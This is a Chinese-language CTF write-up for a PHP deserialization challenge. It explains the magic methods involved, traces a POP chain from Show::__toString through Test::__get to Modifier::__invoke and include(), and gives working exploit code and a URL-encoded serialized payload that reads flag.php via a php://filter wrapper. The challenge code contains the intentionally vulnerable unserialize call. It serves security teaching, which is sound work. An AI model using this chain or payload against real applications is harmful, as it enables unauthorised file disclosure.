題目代碼
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
前置知識
php魔術方法:
__call()
: 在對象中調用一個不可訪問方法時,__call()
會被調用__toString
: 將對象當作一個字符串輸出的時候__wakeup
: 反序列化時被調用__invoke
: 當一個對象被作為函數調用時被調用__get
: 當對象訪問一個不存在的屬性時調用__construct
:創建對象時調用
序列化只會保存對象的屬性對應的值
分析
這里找到危險參數 ,發現在 Modifier 對象中
public function __invoke(){$this->append($this->var);}
我們順著這個魔術方法找哪里調用了變量函數
Test對象中
public function __get($key){$function = $this->p;return $function();}
再順著這個魔術方法的調用條件找哪里訪問了Test對象中沒有的變量
public function __toString(){return $this->str->source;}
我們找到了Show對象嗎,只要我們將str變量設置為Test對象,那么就能觸發這個利用鏈
再找到輸出變量的地方
$this->source
在Show對象中,如果我們將source設置為Show對象,那么就等于將該對象當作字符串進行訪問從而觸發 __tostring
方法
EXP
<?php
class Modifier
{protected $var;function __construct($var){$this->var = $var;}
}class Show
{public $source = 0;public $str = 0;}class Test
{public $p;
}$data = "php://filter/read=convert.base64-encode/resource=flag.php"; # 最終這里被include$m = new Modifier($data);$t = new Test();
$t->p = $m ;$s1 = new Show();
$s2 = new Show();$s2->str = $t;
$s1->source = $s2;echo urlencode(serialize($s1));
最終我們include(“php://filter/read=convert.base64-encode/resource=flag.php”)即可讀取flag.php文件從而拿到flag
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bi%3A0%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bi%3A0%3B%7D